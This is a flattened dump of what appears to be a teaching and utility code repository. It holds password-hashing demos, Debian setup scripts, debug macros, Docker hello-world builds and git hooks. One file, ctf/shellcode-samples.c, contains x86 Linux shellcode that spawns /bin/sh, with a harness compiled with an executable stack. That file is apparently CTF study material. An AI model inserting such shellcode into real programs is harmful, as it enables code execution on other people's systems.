/dev/null 32 | cd $DOWNLOAD_DIR && nohup $BTDOWNLOADHEADLESS $TORRENT_FILE &> /dev/null & 33 | popd &> /dev/null 34 | fi 35 | 36 | exit 0 37 | -------------------------------------------------------------------------------- /crypt/.gitignore: -------------------------------------------------------------------------------- 1 | /my_crypt 2 | -------------------------------------------------------------------------------- /crypt/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g 2 | LDLIBS = -lcrypt 3 | 4 | .PHONY: all clean 5 | 6 | all: my_crypt 7 | 8 | clean: 9 | -rm -f my_crypt my_crypt.o 10 | -rm -f *~ 11 | -------------------------------------------------------------------------------- /crypt/gen-passwd: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | salt=$(pwgen -N 1 -c 8) 4 | password=$(pwgen -N 1 -c 10) 5 | crypt=$(openssl passwd -1 -salt "$salt" "$password") 6 | 7 | echo "password: $password" 8 | echo "crypt: $crypt" 9 | -------------------------------------------------------------------------------- /crypt/my_crypt.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include 7 | #define __USE_XOPEN 8 | #include 9 | 10 | #define PASSWORD "anaaremere" 11 | #define ALG_TYPE "6" 12 | #define SALT "abcdefghabcdefgh" 13 | 14 | int main(void) 15 | { 16 | char *pass_encrypted; 17 | 18 | pass_encrypted = (char *) crypt(PASSWORD, "$" ALG_TYPE "$" SALT); 19 | 20 | printf("%s encrypts to %s\n", PASSWORD, pass_encrypted); 21 | 22 | return 0; 23 | } 24 | -------------------------------------------------------------------------------- /crypt/my_crypt.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import crypt 4 | 5 | 6 | PASSWORD = "anaaremere" 7 | ALG_TYPE = "6" 8 | SALT = "abcdefgh" 9 | 10 | if ALG_TYPE == "5" or ALG_TYPE == "6": 11 | SALT = SALT + SALT 12 | 13 | enc = crypt.crypt(PASSWORD, "$" + ALG_TYPE + "$" + SALT) 14 | print(enc) 15 | -------------------------------------------------------------------------------- /crypt/my_crypt.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | PASSWORD="anaaremere" 4 | ALG_TYPE="sha-512" # des, md5, sha-256 5 | SALT="abcdefgh" 6 | 7 | if test "$ALG_TYPE" = "sha-256" -o "$ALG_TYPE" = "sha-512"; then 8 | SALT="$SALT$SALT" 9 | fi 10 | 11 | mkpasswd -m "$ALG_TYPE" -S "$SALT" "$PASSWORD" 12 | -------------------------------------------------------------------------------- /ctf/.gitignore: -------------------------------------------------------------------------------- 1 | /shellcode-samples 2 | /shellcode-samples.o 3 | -------------------------------------------------------------------------------- /ctf/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -g 2 | LDFLAGS = -z execstack 3 | 4 | .PHONY: all clean 5 | 6 | all: shellcode-samples 7 | 8 | shellcode-samples: shellcode-samples.o 9 | 10 | shellcode-samples.o: shellcode-samples.c 11 | 12 | clean: 13 | -rm -f shellcode-samples shellcode-samples.o *~ 14 | -------------------------------------------------------------------------------- /ctf/shellcode-samples.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Works on 32 bit systems. 3 | */ 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | #define USE_C 1 11 | #define USE_INLINE_ASSEMBLY 2 12 | #define USE_SHELLCODE 3 13 | 14 | #define CALL_TYPE USE_SHELLCODE 15 | 16 | static char *shellcode_write = \ 17 | "\x31\xdb\x31\xd2\x31\xc0\x6a\x41\xfe\xc3" 18 | "\x89\xe1\xfe\xc2\xb0\x04\xcd\x80\x31\xdb" 19 | "\xb0\x01\xcd\x80"; 20 | 21 | static char *shellcode_exec = \ 22 | "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f" 23 | "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd" 24 | "\x80"; 25 | 26 | static char *shellcode_exec_sh = \ 27 | "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" 28 | "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" 29 | "\x0b\xcd\x80"; 30 | 31 | int main(void) 32 | { 33 | #if CALL_TYPE == USE_INLINE_ASSEMBLY 34 | __asm__ ( 35 | "xor %ebx,%ebx\n\t" 36 | "xor %edx,%edx\n\t" 37 | "xor %eax,%eax\n\t" 38 | "pushl $0x41\n\t" 39 | "inc %bl\n\t" 40 | "movl %esp, %ecx\n\t" 41 | "inc %dl\n\t" 42 | "mov $4, %al\n\t" 43 | "int $0x80\n\t" 44 | ); 45 | __asm__( 46 | "xor %ebx, %ebx\n\t" 47 | "mov $1, %al\n\t" 48 | "int $0x80\n\t" 49 | ); 50 | #elif CALL_TYPE == USE_C 51 | write(1, "a", 1); 52 | exit(EXIT_SUCCESS); 53 | #else 54 | printf("shellcode length: %zu\n", strlen(shellcode_exec)); 55 | (*(void (*)()) shellcode_exec)(); 56 | #endif 57 | 58 | return 0; 59 | } 60 | -------------------------------------------------------------------------------- /debian/cli-minimal-debian-install: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo apt -y install less htop zip unzip vim-nox git subversion lsof 4 | sudo apt -y install build-essential gdb cscope exuberant-ctags 5 | sudo apt -y install strace ltrace valgrind 6 | sudo apt -y install gawk 7 | sudo apt -y install bash-completion 8 | sudo apt -y install expect 9 | sudo apt -y install netcat telnet lynx curl ncftp 10 | sudo apt -y install host dnsutils 11 | sudo apt -y install openssh-server smbclient cifs-utils ldap-utils 12 | sudo apt -y install finger pciutils usbutils lshw mc tree 13 | sudo apt -y install apt-file 14 | sudo apt -y install genisoimage 15 | sudo apt -y install tcpdump nmap 16 | sudo apt -y install manpages-posix manpages-posix-dev make-doc glibc-doc-reference 17 | sudo apt -y install pwgen 18 | sudo apt -y install lshw inxi 19 | sudo apt -y install emacs org-mode emacs-goodies-el 20 | sudo apt -y install screen tmux tmux-plugin-manager 21 | sudo apt -y install ethtool net-tools 22 | sudo apt -y install imagemagick 23 | sudo apt -y install pdftk 24 | sudo apt -y install iotop sysstat 25 | sudo apt -y install unrar p7zip lzma xz-utils 26 | sudo apt -y install moreutils 27 | -------------------------------------------------------------------------------- /debian/config-cmdline-precis: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo ifconfig wlan0 down 4 | sudo ip a f dev wlan0 5 | sleep 1 6 | sudo rfkill block wifi 7 | sleep 1 8 | sudo rfkill unblock wifi 9 | sleep 1 10 | sudo ifconfig wlan0 up 11 | sleep 2 12 | sudo iwconfig wlan0 essid PRECIS 13 | sleep 2 14 | sudo dhclient wlan0 15 | -------------------------------------------------------------------------------- /debian/configure-default-apps: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | /usr/bin/xdg-mime default chromium-browser-chromium.desktop x-scheme-handler/https 4 | /usr/bin/xdg-mime default chromium-browser-chromium.desktop x-scheme-handler/http 5 | /usr/bin/xdg-mime default chromium-browser-chromium.desktop text/html 6 | -------------------------------------------------------------------------------- /debian/disable-bluetooth: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo rfkill block bluetooth 4 | -------------------------------------------------------------------------------- /debian/do-hibernate: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | /bin/sync ; /bin/echo 3 | sudo /usr/bin/tee /proc/sys/vm/drop_caches > /dev/null 4 | sudo /bin/systemctl hibernate 5 | -------------------------------------------------------------------------------- /debian/enable-huawei-12d1:14fe: -------------------------------------------------------------------------------- 1 | sudo /usr/sbin/usb_modeswitch -v 12d1 -p 14fe -c '/home/razvan/packages/usb-modeswitch-data-20150627/usb_modeswitch.d/12d1:14fe' 2 | -------------------------------------------------------------------------------- /debian/enable-huawei-12d1:15ca: -------------------------------------------------------------------------------- 1 | sudo /usr/sbin/usb_modeswitch -v 12d1 -p 15ca -c '/home/razvan/packages/usb-modeswitch-data-20150627/usb_modeswitch.d/12d1:15ca' 2 | -------------------------------------------------------------------------------- /debian/fw-update: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo service fwupd restart 4 | sudo fwupdmgr refresh 5 | sudo fwupdmgr update 6 | -------------------------------------------------------------------------------- /debian/get-battery-info: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | /usr/bin/upower -i /org/freedesktop/UPower/devices/battery_BAT0 4 | -------------------------------------------------------------------------------- /debian/gui-minimal-debian-install: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo apt -y install xsel xclip 4 | sudo apt -y install scrot shutter 5 | sudo apt -y install dconf-tools 6 | -------------------------------------------------------------------------------- /debian/my-hibernate: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Kill offlineimap (huge memory eater). 4 | /usr/bin/pkill -f offlineimap 5 | 6 | # Flush the Linux buffer cache. 7 | sudo /bin/sync && echo 3 > sudo tee /proc/sys/vm/drop_caches 8 | 9 | # Hibernate. 10 | sudo pm-hibernate 11 | -------------------------------------------------------------------------------- /debian/restore-vboxnet0: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | /usr/bin/vboxmanage hostonlyif ipconfig vboxnet0 -ip 192.168.56.1 --netmask 255.255.255.0 4 | /usr/bin/vboxmanage dhcpserver add --ifname vboxnet0 --ip 192.168.56.1 --netmask 255.255.255.0 --lowerip 192.168.56.100 --upperip 192.168.56.200 5 | /usr/bin/vboxmanage dhcpserver modify --ifname vboxnet0 --enable 6 | -------------------------------------------------------------------------------- /debian/restore-wireless-network: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo /usr/bin/pkill nm-applet 4 | sudo /bin/systemctl stop network-manager.service 5 | sudo /sbin/modprobe -r iwldvm 6 | /bin/sleep 1 7 | sudo /sbin/modprobe -r iwlwifi 8 | /bin/sleep 2 9 | sudo /sbin/modprobe iwlwifi 10 | /bin/sleep 1 11 | sudo /sbin/modprobe iwldvm 12 | sudo /bin/systemctl start network-manager.service 13 | /usr/bin/nm-applet > /dev/null 2>&1 & 14 | /bin/sleep 5 15 | sudo /bin/systemctl restart network-manager.service 16 | -------------------------------------------------------------------------------- /debian/screen-clone: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # Available resolutions: 4 | # 1600x900 5 | # 1440x900 6 | # 1360x768 7 | # 1152x864 8 | # 1024x768 9 | # 800x600 10 | 11 | duplicate_resolution=1024x768 12 | local_resolution=1600x900 13 | 14 | local_screen=$(xrandr | grep '^LVDS' | cut -d ' ' -f 1) 15 | remote_screen=$(xrandr | grep '^VGA' | cut -d ' ' -f 1) 16 | echo "local_screen is $local_screen" 17 | echo "remote_screen is $remote_screen" 18 | 19 | xrandr --output DP3 --off --output DP2 --off --output DP1 --off --output HDMI3 --off --output HDMI2 --off --output HDMI1 --off --output "$local_screen" --mode "$duplicate_resolution" --pos 0x0 --rotate normal --output "$remote_screen" --mode "$duplicate_resolution" --pos 0x0 --rotate normal 20 | -------------------------------------------------------------------------------- /debian/screen-extended: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # Available resolutions: 4 | # 1920x1080 5 | # 1600x900 6 | # 1440x900 7 | # 1360x768 8 | # 1152x864 9 | # 1024x768 10 | # 800x600 11 | 12 | duplicate_resolution=1024x768 13 | local_resolution=1600x900 14 | extended_resolution=1920x1080 15 | extender_position=${local_resolution%x*}x0 16 | 17 | local_screen=$(xrandr | grep '^LVDS' | cut -d ' ' -f 1) 18 | remote_screen=$(xrandr | grep '^VGA' | cut -d ' ' -f 1) 19 | 20 | xrandr --output DP3 --off --output DP2 --off --output DP1 --off --output HDMI3 --off --output HDMI2 --off --output HDMI1 --off --output "$local_screen" --mode "$local_resolution" --pos 0x0 --rotate normal --output "$remote_screen" --mode "$extended_resolution" --pos "$extended_position" --rotate normal 21 | -------------------------------------------------------------------------------- /debian/screen-only-laptop: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # Available resolutions: 4 | # 1600x900 5 | # 1440x900 6 | # 1360x768 7 | # 1152x864 8 | # 1024x768 9 | # 800x600 10 | 11 | duplicate_resolution=1024x768 12 | local_resolution=1600x900 13 | 14 | local_screen=$(xrandr | grep '^LVDS' | cut -d ' ' -f 1) 15 | remote_screen=$(xrandr | grep '^VGA' | cut -d ' ' -f 1) 16 | 17 | xrandr --output DP3 --off --output DP2 --off --output DP1 --off --output HDMI3 --off --output HDMI2 --off --output HDMI1 --off --output "$local_screen" --mode "$local_resolution" --pos 0x0 --rotate normal --output "$remote_screen" --off 18 | -------------------------------------------------------------------------------- /debian/setup-wired-hotspot: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo /sbin/ip link set dev eth0 down 4 | sudo /sbin/ip address flush dev eth0 5 | sudo /sbin/ip address add 192.168.42.1/24 dev eth0 6 | sudo /sbin/ip link set dev eth0 up 7 | sudo /sbin/ip address del 192.168.42.11/24 dev eth0 8 | sudo /sbin/ip route del default via 192.168.42.1 dev eth0 9 | sudo /sbin/ip link set dev wlan0 down 10 | sudo /sbin/sysctl net.ipv4.ip_forward=1 11 | sudo /sbin/sysctl net.ipv6.conf.default.forwarding=1 12 | sudo /sbin/sysctl net.ipv6.conf.all.forwarding=1 13 | sudo /sbin/iptables -t nat -D POSTROUTING -o ppp0 -j MASQUERADE 14 | sudo /sbin/iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE 15 | -------------------------------------------------------------------------------- /debian/setup-wireless-hotspot: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo /usr/sbin/rfkill unblock wifi 4 | sudo /sbin/iw wlan0 set type ibss 5 | sudo /sbin/ip link set dev wlan0 up 6 | sudo /sbin/iw wlan0 ibss join precis 2422 7 | sudo /sbin/ip address flush dev wlan0 8 | sudo /sbin/ip address add 192.168.0.1/24 dev wlan0 9 | sudo /sbin/sysctl net.ipv4.ip_forward=1 10 | sudo /sbin/sysctl net.ipv6.conf.default.forwarding=1 11 | sudo /sbin/sysctl net.ipv6.conf.all.forwarding=1 12 | sudo /sbin/iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE 13 | -------------------------------------------------------------------------------- /debian/setup-wireless-hotspot-ok: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo /usr/sbin/rfkill unblock wifi 4 | sudo /sbin/iwconfig wlan0 mode ad-hoc 5 | sudo /sbin/iwconfig wlan0 key off 6 | sudo /sbin/iwconfig wlan0 essid PRECIS 7 | sudo /sbin/ip address flush dev wlan0 8 | sudo /sbin/ip address add 192.168.1.1/24 dev wlan0 9 | sudo /sbin/ip link set dev wlan0 up 10 | sudo /sbin/sysctl net.ipv4.ip_forward=1 11 | sudo /sbin/sysctl net.ipv6.conf.default.forwarding=1 12 | sudo /sbin/sysctl net.ipv6.conf.all.forwarding=1 13 | sudo /sbin/iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE 14 | -------------------------------------------------------------------------------- /debian/start-vmplayer: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | export VMWARE_USE_SHIPPED_GTK=yes 4 | export LD_LIBRARY_PATH=/usr/lib/vmware/lib/libglibmm-2.4.so.1/:$LD_LIBRARY_PATH 5 | /usr/bin/vmplayer 6 | -------------------------------------------------------------------------------- /debian/system-clean: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo apt-get clean && sudo apt-get autoclean && sudo apt-get -y autoremove 4 | -------------------------------------------------------------------------------- /debian/system-update: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | sudo apt-get update && sudo apt-get -y upgrade && sudo apt-get -y dist-upgrade 4 | -------------------------------------------------------------------------------- /debian/ubuntu-18.04-packages.lst: -------------------------------------------------------------------------------- 1 | less 2 | htop 3 | zip 4 | unzip 5 | vim-nox 6 | git 7 | subversion 8 | lsof 9 | build-essential 10 | electric-fence 11 | gdb 12 | cscope 13 | exuberant-ctags 14 | strace 15 | ltrace 16 | valgrind 17 | gawk 18 | bash-completion 19 | expect 20 | netcat 21 | telnet 22 | pppoeconf 23 | bind9-host 24 | lynx 25 | curl 26 | ncftp 27 | openssh-server 28 | smbclient 29 | cifs-utils 30 | ldap-utils 31 | finger 32 | pciutils 33 | usbutils 34 | lshw 35 | mc 36 | clusterssh 37 | tree 38 | texlive-latex-base 39 | texlive-latex-extra 40 | texlive-bibtex-extra 41 | texlive-publishers 42 | texlive-science 43 | texlive-lang-european 44 | highlight 45 | apt-file 46 | wodim 47 | genisoimage 48 | libreoffice 49 | flashplugin-installer 50 | mplayer 51 | module-assistant 52 | vim-gnome 53 | deluge 54 | wbar 55 | gitk 56 | xchat 57 | dia 58 | aspell-ro 59 | wireless-tools 60 | tcpdump 61 | nmap 62 | manpages-posix 63 | manpages-posix-dev 64 | make-doc 65 | glibc-doc-reference 66 | pwgen 67 | lshw 68 | emacs 69 | org-mode 70 | emacs-goodies-el 71 | screen 72 | tmux 73 | tmux-plugin-manager 74 | ethtool 75 | net-tools 76 | python3 77 | python3-dev 78 | python3-sphinx 79 | python3-pip 80 | imagemagick 81 | inkscape 82 | scrot 83 | gcc-multilib 84 | libc6-dev:i386 85 | default-jdk 86 | libncurses 87 | libncurses5-dev 88 | socat 89 | sgabios 90 | qemu 91 | gimp 92 | virtualbox 93 | -------------------------------------------------------------------------------- /debug/GNUmakefile: -------------------------------------------------------------------------------- 1 | CPPFLAGS = -I. -DDEBUG 2 | #CPPFLAGS = -I. 3 | CFLAGS = -Wall -g 4 | 5 | .PHONY: all clean 6 | 7 | all: test-debug 8 | 9 | test-debug.o: test-debug.c debug.h 10 | 11 | clean: 12 | -rm -f *~ *.o test-debug 13 | -------------------------------------------------------------------------------- /debug/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = /I. /DDEBUG /W3 2 | #CFLAGS = /I. /W3 3 | 4 | all: test-debug.exe 5 | 6 | test-debug.exe: test-debug.obj 7 | $(CC) /nologo /Fe$@ $** 8 | 9 | test-debug.obj: test-debug.c debug.h 10 | $(CC) /nologo /c $(CFLAGS) /Fo$@ test-debug.c 11 | 12 | clean: 13 | del /Q /S *.obj test-debug.exe 14 | -------------------------------------------------------------------------------- /debug/debug.h: -------------------------------------------------------------------------------- 1 | /* 2 | * debugging macros 3 | * heavily inspired by previous work and Internet resources 4 | * 5 | * uses C99 variadic macros 6 | * uses non-standard usage of the token-paste operator (##) for 7 | * removing the comma symbol (,) when not followed by a token 8 | * uses non-standard __FUNCTION__ macro (MSVC doesn't support __func__) 9 | * tested on gcc 4.4.5 and Visual Studio 2008 (9.0), compiler version 15.00 10 | * 11 | * 2011, Razvan Deaconescu, razvan.deaconescu@cs.pub.ro 12 | */ 13 | 14 | #ifndef DEBUG_H_ 15 | #define DEBUG_H_ 16 | 17 | #include 18 | 19 | /* 20 | * define DEBUG macro as a compiler option: 21 | * -DDEBUG for GCC 22 | * /DDEBUG for MSVC 23 | */ 24 | 25 | #if defined DEBUG 26 | #define dprintf(format, ...) \ 27 | fprintf(stderr, " [%s(), %s:%u] " format, \ 28 | __FUNCTION__, __FILE__, __LINE__, \ 29 | ##__VA_ARGS__) 30 | #else 31 | #define dprintf(format, ...) \ 32 | do { \ 33 | } while (0) 34 | #endif 35 | 36 | #endif 37 | -------------------------------------------------------------------------------- /debug/test-debug.c: -------------------------------------------------------------------------------- 1 | /* 2 | * simple test case for debugging macros (in debug.h) 3 | * 4 | * 2011, Razvan Deaconescu, razvan.deaconescu@cs.pub.ro 5 | */ 6 | 7 | #include 8 | 9 | #include "debug.h" 10 | 11 | #define DEFAULT_VALUE 42 12 | #define DEFAULT_MASK 0xF0F0F0F0 13 | 14 | int main(void) 15 | { 16 | int a = DEFAULT_VALUE; 17 | unsigned int b = DEFAULT_MASK; 18 | int c; 19 | 20 | /* debug print */ 21 | dprintf("Hello, World!\n"); 22 | dprintf("a = %d, b = %0x\n", a, b); 23 | 24 | c = a & b; 25 | printf("c = %d\n", c); /* always print */ 26 | 27 | return 0; 28 | } 29 | -------------------------------------------------------------------------------- /diacritics/cedilla_comma_bellow.txt: -------------------------------------------------------------------------------- 1 | ș \xc8\x99 2 | ț \xc8\x9b 3 | Ș \xc8\x98 4 | Ț \xc8\x9a 5 | ş \xc5\x9f 6 | ţ \xc5\xa3 7 | Ş \xc5\x9e 8 | Ţ \xc5\xa2 9 | -------------------------------------------------------------------------------- /diacritics/ro_diacritics.txt: -------------------------------------------------------------------------------- 1 | \xc8\x9b t ț 2 | \xc8\x99 s ș 3 | \xc4\c83 a ă 4 | \xc3\xa2 a â 5 | \xc3\xae i î 6 | \xc8\x9a T Ț 7 | \xc8\x98 S Ș 8 | \xc4\x92 A Ă 9 | \xc3\x82 A Â 10 | \xc3\x8e I Î 11 | -------------------------------------------------------------------------------- /dlopen/dlopen-pie/.gitignore: -------------------------------------------------------------------------------- 1 | /dlopen 2 | /test 3 | -------------------------------------------------------------------------------- /dlopen/dlopen-pie/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: all clean 2 | 3 | all: dlopen test 4 | 5 | dlopen: dlopen.c 6 | $(CC) -o $@ $^ -ldl 7 | 8 | test: test.c 9 | $(CC) -pie -fPIC -rdynamic -o $@ $^ 10 | 11 | clean: 12 | -rm -f dlopen test 13 | -rm -f *~ 14 | -------------------------------------------------------------------------------- /dlopen/dlopen-pie/README: -------------------------------------------------------------------------------- 1 | Use dlopen() against PIE executable. This works on Linux: 2 | https://stackoverflow.com/a/6618319/4804196 3 | 4 | Compile dlopen and test executables using make. Run ./dlopen which will use 5 | dlopen() to open ./test and call do_print() function. 6 | -------------------------------------------------------------------------------- /dlopen/dlopen-pie/dlopen.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main(void) 6 | { 7 | void *lib; 8 | void (*f)(void); 9 | 10 | lib = dlopen("./test", RTLD_NOW); 11 | if (lib == NULL) { 12 | fprintf(stderr, "%s\n", dlerror()); 13 | exit(EXIT_FAILURE); 14 | } 15 | 16 | f = (void (*)(void)) dlsym(lib, "do_print"); 17 | if (f == NULL) { 18 | fprintf(stderr, "%s\n", dlerror()); 19 | exit(EXIT_FAILURE); 20 | } 21 | 22 | f(); 23 | 24 | return 0; 25 | } 26 | -------------------------------------------------------------------------------- /dlopen/dlopen-pie/test.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void do_print(void) 4 | { 5 | puts("Hello"); 6 | } 7 | 8 | int main(void) 9 | { 10 | do_print(); 11 | return 0; 12 | } 13 | -------------------------------------------------------------------------------- /docker/helloworld/Dockerfile.gcc-12: -------------------------------------------------------------------------------- 1 | FROM gcc:12.3.0-bookworm AS build 2 | 3 | COPY helloworld.c /helloworld.c 4 | 5 | RUN gcc -Wall -Wextra -o /helloworld /helloworld.c 6 | 7 | # Create from zero. 8 | # Copy only necessary files. 9 | FROM scratch 10 | 11 | # Executable 12 | COPY --from=build /helloworld /helloworld 13 | 14 | # Dynamic libraries 15 | COPY --from=build /lib/x86_64-linux-gnu/libc.so.6 /lib/x86_64-linux-gnu/libc.so.6 16 | COPY --from=build /lib64/ld-linux-x86-64.so.2 /lib64/ld-linux-x86-64.so.2 17 | 18 | CMD ["/helloworld"] 19 | -------------------------------------------------------------------------------- /docker/helloworld/Dockerfile.gcc-13: -------------------------------------------------------------------------------- 1 | FROM gcc:13.2.0-bookworm AS build 2 | 3 | COPY helloworld.c /helloworld.c 4 | 5 | RUN gcc -Wall -Wextra -o /helloworld /helloworld.c 6 | 7 | # Create from zero. 8 | # Copy only necessary files. 9 | FROM scratch 10 | 11 | # Executable 12 | COPY --from=build /helloworld /helloworld 13 | 14 | # Dynamic libraries 15 | COPY --from=build /lib/x86_64-linux-gnu/libc.so.6 /lib/x86_64-linux-gnu/libc.so.6 16 | COPY --from=build /lib64/ld-linux-x86-64.so.2 /lib64/ld-linux-x86-64.so.2 17 | 18 | CMD ["/helloworld"] 19 | -------------------------------------------------------------------------------- /docker/helloworld/Dockerfile.static: -------------------------------------------------------------------------------- 1 | FROM gcc:13.2.0-bookworm AS build 2 | 3 | COPY helloworld.c /helloworld.c 4 | 5 | RUN gcc -Wall -Wextra -static -o /helloworld /helloworld.c 6 | 7 | # Create from zero. 8 | # Copy only necessary files. 9 | FROM scratch 10 | 11 | # Executable 12 | COPY --from=build /helloworld /helloworld 13 | 14 | CMD ["/helloworld"] 15 | -------------------------------------------------------------------------------- /docker/helloworld/Makefile: -------------------------------------------------------------------------------- 1 | OPTIONS = gcc-13 gcc-12 static 2 | DOCKERFILES = $(OPTIONS:%=Dockerfile.%) 3 | IMAGES = $(OPTIONS:%=helloworld-%) 4 | CONTAINERS = $(IMAGES:%=cnt-%) 5 | 6 | .PHONY: all clean 7 | 8 | all: images 9 | 10 | images: $(IMAGES) 11 | 12 | helloworld-%: Dockerfile.% 13 | docker build -t $@ -f $< . 14 | 15 | containers: $(CONTAINERS) 16 | 17 | cnt-helloworld-%: helloworld-% 18 | docker create --name $@ -i -t $^ 19 | 20 | run-anon-%: helloworld-% 21 | docker run --rm -t $^ 22 | 23 | run-%: cnt-helloworld-% 24 | docker start --attach -i $^ 25 | 26 | clean: 27 | -docker stop $(CONTAINERS) 28 | -docker rm $(CONTAINERS) 29 | -------------------------------------------------------------------------------- /docker/helloworld/README.md: -------------------------------------------------------------------------------- 1 | # Helloworld with Containers 2 | 3 | Build and run simple programs that print "Hello, World!" using containers. 4 | 5 | Use `make` for different builds: 6 | 7 | * Build images: 8 | 9 | ```console 10 | make images 11 | ``` 12 | 13 | * Create containers: 14 | 15 | ```console 16 | make containers 17 | ``` 18 | 19 | * Run with anonymous ephemeral containers: 20 | 21 | ```console 22 | make run-anon-static 23 | make run-anon-gcc-12 24 | make run-anon-gcc-13 25 | ``` 26 | 27 | * Run with named containers: 28 | 29 | ```console 30 | make clean 31 | make run-static 32 | make run-gcc-12 33 | make run-gcc-13 34 | ``` 35 | -------------------------------------------------------------------------------- /docker/helloworld/helloworld.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(void) 4 | { 5 | puts("Hello, World!"); 6 | return 0; 7 | } 8 | -------------------------------------------------------------------------------- /execve/.gitignore: -------------------------------------------------------------------------------- 1 | /execve_argv 2 | -------------------------------------------------------------------------------- /execve/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS = -Wall -m32 -g 2 | LDFLAGS = -m32 3 | 4 | .PHONY: all clean 5 | 6 | all: execve_argv 7 | 8 | execve_argv: execve_argv.o 9 | 10 | execve_argv.o: execve_argv.c 11 | 12 | clean: 13 | -rm -f execve_argv 14 | -rm -f *.o 15 | -rm -f *~ 16 | -------------------------------------------------------------------------------- /expect/ssh-passphrase-expect-wrapper.exp: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | expect -f - <" 1>&2 5 | exit 1 6 | fi 7 | 8 | id="$1" 9 | 10 | wget --load-cookies /tmp/cookies.txt "https://docs.google.com/uc?export=download&confirm=$(wget --quiet --save-cookies /tmp/cookies.txt --keep-session-cookies --no-check-certificate 'https://docs.google.com/uc?export=download&id='"$id" -O- | sed -rn 's/.*confirm=([0-9A-Za-z_]+).*/\1\n/p')&id=$id" -O downloaded_file && rm -rf /tmp/cookies.txt 11 | 12 | echo -e "\n\nOutput is in 'downloaded_file'" 13 | -------------------------------------------------------------------------------- /git/so-hooks/hooks_config: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # configuration file for resource publishing (SO) 4 | # 5 | # this file is to be sourced by Git post-receive Bash scripts 6 | # DO NOT use BLANKS when assigning values to variables 7 | # 8 | # 2010, Razvan Deaconescu, razvan.deaconescu@cs.pub.ro 9 | # 10 | 11 | # lab publishing configuration 12 | lab_publish_dir=$HOME/res/current/laboratoare/ 13 | lab_first=1 14 | lab_last=13 15 | lab_last_visible=0 16 | 17 | # slides publishing configuration 18 | lab_slides_tmp=$HOME/git-repos/hooks_tmp/ 19 | 20 | function lab_slides_build_publish() 21 | { 22 | working_dir=$1 23 | publish_dir=$2 24 | 25 | > $lab_slides_tmp/make-slides.log 26 | pushd "$working_dir" 27 | for subdir in $(find -mindepth 1 -maxdepth 1); do 28 | pushd "$subdir" 29 | make BASENAME=$subdir >> $lab_slides_tmp/make-slides.log 2>&1 30 | popd 31 | done 32 | find -name '*.pdf' -exec cp {} "$publish_dir" \; 33 | popd 34 | } 35 | 36 | # refcard publishing configuration 37 | lab_refcard_tmp=$HOME/git-repos/hooks_tmp/ 38 | 39 | function lab_refcard_build_publish() 40 | { 41 | working_dir=$1 42 | publish_dir=$2 43 | 44 | echo "lab_refcard_build" 45 | 46 | > $lab_refcard_tmp/make-refcard.log 47 | pushd "$working_dir" 48 | for subdir in $(find -mindepth 1 -maxdepth 1); do 49 | pushd "$subdir" 50 | echo $subdir 51 | make BASENAME=$subdir >> $lab_refcard_tmp/make-refcard.log 2>&1 52 | popd 53 | done 54 | find -name '*.pdf' -exec cp {} "$publish_dir" \; 55 | popd 56 | } 57 | 58 | # assignment publishing configuration 59 | asg_publish_dir=$HOME/res/current/teme/ 60 | asg_first=0 61 | asg_last=5 62 | -------------------------------------------------------------------------------- /git/so-hooks/teme-tree: -------------------------------------------------------------------------------- 1 | . 2 | ├── extra/ 3 | │   └── cygwin-win32-make/ 4 | ├── tema0/ 5 | │   ├── checker/ 6 | │   ├── sol/ 7 | │   └── util/ 8 | ├── tema1/ 9 | │   ├── checker/ 10 | │   ├── sol/ 11 | │   └── util/ 12 | ├── tema2/ 13 | │   ├── checker/ 14 | │   ├── sol/ 15 | │   └── util/ 16 | ├── tema2_old/ 17 | │   ├── checker/ 18 | │   ├── sol/ 19 | │   └── util/ 20 | ├── tema3/ 21 | │   ├── checker/ 22 | │   ├── sol/ 23 | │   